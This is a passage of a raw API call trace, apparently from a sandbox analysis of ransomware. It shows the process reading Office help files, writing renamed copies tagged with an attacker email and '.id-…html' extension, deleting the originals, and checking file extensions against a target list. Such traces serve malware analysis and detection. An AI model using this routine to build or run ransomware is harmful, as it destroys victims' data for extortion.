CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0046.662] GetLastError () returned 0x0 [0046.662] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x1ac96, lpOverlapped=0x0) returned 1 [0046.665] WriteFile (in: hFile=0x1ec, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x1aca0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x1aca0, lpOverlapped=0x0) returned 1 [0046.668] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0046.668] WriteFile (in: hFile=0x1ec, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0046.668] SetEndOfFile (hFile=0x1ec) returned 1 [0046.668] CloseHandle (hObject=0x1ec) returned 1 [0046.668] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.668] SetEndOfFile (hFile=0x1f8) returned 1 [0046.670] CloseHandle (hObject=0x1f8) returned 1 [0046.670] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0046.670] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm")) returned 1 [0046.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0046.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0046.670] lstrlenW (lpString=".doc") returned 4 [0046.670] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0046.670] lstrlenW (lpString=".docx") returned 5 [0046.671] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0046.671] lstrlenW (lpString=".pdf") returned 4 [0046.671] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0046.671] lstrlenW (lpString=".xls") returned 4 [0046.671] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0046.671] lstrlenW (lpString=".xlsx") returned 5 [0046.671] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0046.671] lstrlenW (lpString=".ppt") returned 4 [0046.671] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0046.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0046.671] lstrlenW (lpString=".zip") returned 4 [0046.671] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0046.671] lstrlenW (lpString=".rar") returned 4 [0046.671] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0046.671] lstrlenW (lpString=".bz2") returned 4 [0046.671] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0046.671] lstrlenW (lpString=".7z") returned 3 [0046.671] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0046.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0046.671] lstrlenW (lpString=".dbf") returned 4 [0046.671] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0046.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0046.671] lstrlenW (lpString=".1cd") returned 4 [0046.671] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0046.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0046.671] lstrlenW (lpString=".jpg") returned 4 [0046.671] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0046.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0046.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0046.671] lstrlenW (lpString=".doc") returned 4 [0046.671] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0046.671] lstrlenW (lpString=".docx") returned 5 [0046.672] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0046.672] lstrlenW (lpString=".pdf") returned 4 [0046.672] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0046.672] lstrlenW (lpString=".xls") returned 4 [0046.672] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0046.672] lstrlenW (lpString=".xlsx") returned 5 [0046.672] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0046.672] lstrlenW (lpString=".ppt") returned 4 [0046.672] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0046.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0046.672] lstrlenW (lpString=".zip") returned 4 [0046.672] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0046.672] lstrlenW (lpString=".rar") returned 4 [0046.672] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0046.672] lstrlenW (lpString=".bz2") returned 4 [0046.672] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0046.672] lstrlenW (lpString=".7z") returned 3 [0046.672] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0046.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0046.672] lstrlenW (lpString=".dbf") returned 4 [0046.672] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0046.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0046.672] lstrlenW (lpString=".1cd") returned 4 [0046.672] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0046.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0046.672] lstrlenW (lpString=".jpg") returned 4 [0046.672] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0046.674] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=72031) returned 1 [0046.674] CloseHandle (hObject=0x1f8) returned 1 [0046.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm")) returned 0x20 [0046.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0046.674] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0046.674] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.674] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.674] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0046.677] GetLastError () returned 0x0 [0046.677] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x1195f, lpOverlapped=0x0) returned 1 [0046.679] WriteFile (in: hFile=0x1ec, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x11960, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x11960, lpOverlapped=0x0) returned 1 [0046.681] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0046.682] WriteFile (in: hFile=0x1ec, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.682] SetEndOfFile (hFile=0x1ec) returned 1 [0046.682] CloseHandle (hObject=0x1ec) returned 1 [0046.682] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.682] SetEndOfFile (hFile=0x1f8) returned 1 [0046.683] CloseHandle (hObject=0x1f8) returned 1 [0046.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0046.683] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm")) returned 1 [0046.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0046.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0046.684] lstrlenW (lpString=".doc") returned 4 [0046.684] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0046.684] lstrlenW (lpString=".docx") returned 5 [0046.684] lstrcmpiW (lpString1=".docx", lpString2="8.CHM") returned -1 [0046.684] lstrlenW (lpString=".pdf") returned 4 [0046.684] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0046.684] lstrlenW (lpString=".xls") returned 4 [0046.684] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0046.684] lstrlenW (lpString=".xlsx") returned 5 [0046.684] lstrcmpiW (lpString1=".xlsx", lpString2="8.CHM") returned -1 [0046.684] lstrlenW (lpString=".ppt") returned 4 [0046.684] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0046.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0046.684] lstrlenW (lpString=".zip") returned 4 [0046.684] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0046.684] lstrlenW (lpString=".rar") returned 4 [0046.684] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0046.684] lstrlenW (lpString=".bz2") returned 4 [0046.684] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0046.684] lstrlenW (lpString=".7z") returned 3 [0046.684] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0046.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0046.684] lstrlenW (lpString=".dbf") returned 4 [0046.684] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0046.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0046.684] lstrlenW (lpString=".1cd") returned 4 [0046.684] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0046.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0046.685] lstrlenW (lpString=".jpg") returned 4 [0046.685] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0046.685] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=58026) returned 1 [0046.685] CloseHandle (hObject=0x1f8) returned 1 [0046.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm")) returned 0x20 [0046.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0046.685] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0046.685] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.685] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.685] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0046.686] GetLastError () returned 0x0 [0046.686] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0xe2aa, lpOverlapped=0x0) returned 1 [0046.688] WriteFile (in: hFile=0x1ec, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xe2b0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xe2b0, lpOverlapped=0x0) returned 1 [0046.690] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0046.690] WriteFile (in: hFile=0x1ec, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0046.690] SetEndOfFile (hFile=0x1ec) returned 1 [0046.690] CloseHandle (hObject=0x1ec) returned 1 [0046.690] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.690] SetEndOfFile (hFile=0x1f8) returned 1 [0046.691] CloseHandle (hObject=0x1f8) returned 1 [0046.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0046.692] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm")) returned 1 [0046.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0046.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0046.692] lstrlenW (lpString=".doc") returned 4 [0046.692] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0046.692] lstrlenW (lpString=".docx") returned 5 [0046.692] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0046.692] lstrlenW (lpString=".pdf") returned 4 [0046.692] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0046.692] lstrlenW (lpString=".xls") returned 4 [0046.692] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0046.692] lstrlenW (lpString=".xlsx") returned 5 [0046.692] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0046.692] lstrlenW (lpString=".ppt") returned 4 [0046.692] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0046.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0046.692] lstrlenW (lpString=".zip") returned 4 [0046.692] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0046.692] lstrlenW (lpString=".rar") returned 4 [0046.692] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0046.692] lstrlenW (lpString=".bz2") returned 4 [0046.692] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0046.692] lstrlenW (lpString=".7z") returned 3 [0046.693] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0046.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0046.693] lstrlenW (lpString=".dbf") returned 4 [0046.693] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0046.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0046.693] lstrlenW (lpString=".1cd") returned 4 [0046.693] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0046.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0046.693] lstrlenW (lpString=".jpg") returned 4 [0046.693] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0046.693] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=944994) returned 1 [0046.693] CloseHandle (hObject=0x1f8) returned 1 [0046.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm")) returned 0x20 [0046.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0046.693] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0046.693] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.694] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.694] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0046.694] GetLastError () returned 0x0 [0046.694] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0xe6b62, lpOverlapped=0x0) returned 1 [0046.852] WriteFile (in: hFile=0x1ec, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xe6b70, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xe6b70, lpOverlapped=0x0) returned 1 [0046.872] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0046.872] WriteFile (in: hFile=0x1ec, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0046.872] SetEndOfFile (hFile=0x1ec) returned 1 [0046.872] CloseHandle (hObject=0x1ec) returned 1 [0046.872] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.872] SetEndOfFile (hFile=0x1f8) returned 1 [0047.102] CloseHandle (hObject=0x1f8) returned 1 [0047.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0047.102] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm")) returned 1 [0047.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0047.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0047.103] lstrlenW (lpString=".doc") returned 4 [0047.103] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0047.103] lstrlenW (lpString=".docx") returned 5 [0047.103] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0047.103] lstrlenW (lpString=".pdf") returned 4 [0047.103] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0047.103] lstrlenW (lpString=".xls") returned 4 [0047.103] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0047.103] lstrlenW (lpString=".xlsx") returned 5 [0047.103] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0047.103] lstrlenW (lpString=".ppt") returned 4 [0047.103] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0047.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0047.103] lstrlenW (lpString=".zip") returned 4 [0047.103] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0047.103] lstrlenW (lpString=".rar") returned 4 [0047.103] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0047.103] lstrlenW (lpString=".bz2") returned 4 [0047.103] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0047.103] lstrlenW (lpString=".7z") returned 3 [0047.103] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0047.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0047.103] lstrlenW (lpString=".dbf") returned 4 [0047.103] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0047.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0047.103] lstrlenW (lpString=".1cd") returned 4 [0047.103] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0047.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0047.103] lstrlenW (lpString=".jpg") returned 4 [0047.103] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0048.753] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.753] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0048.753] GetLastError () returned 0x0 [0048.753] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x712e, lpOverlapped=0x0) returned 1 [0048.755] 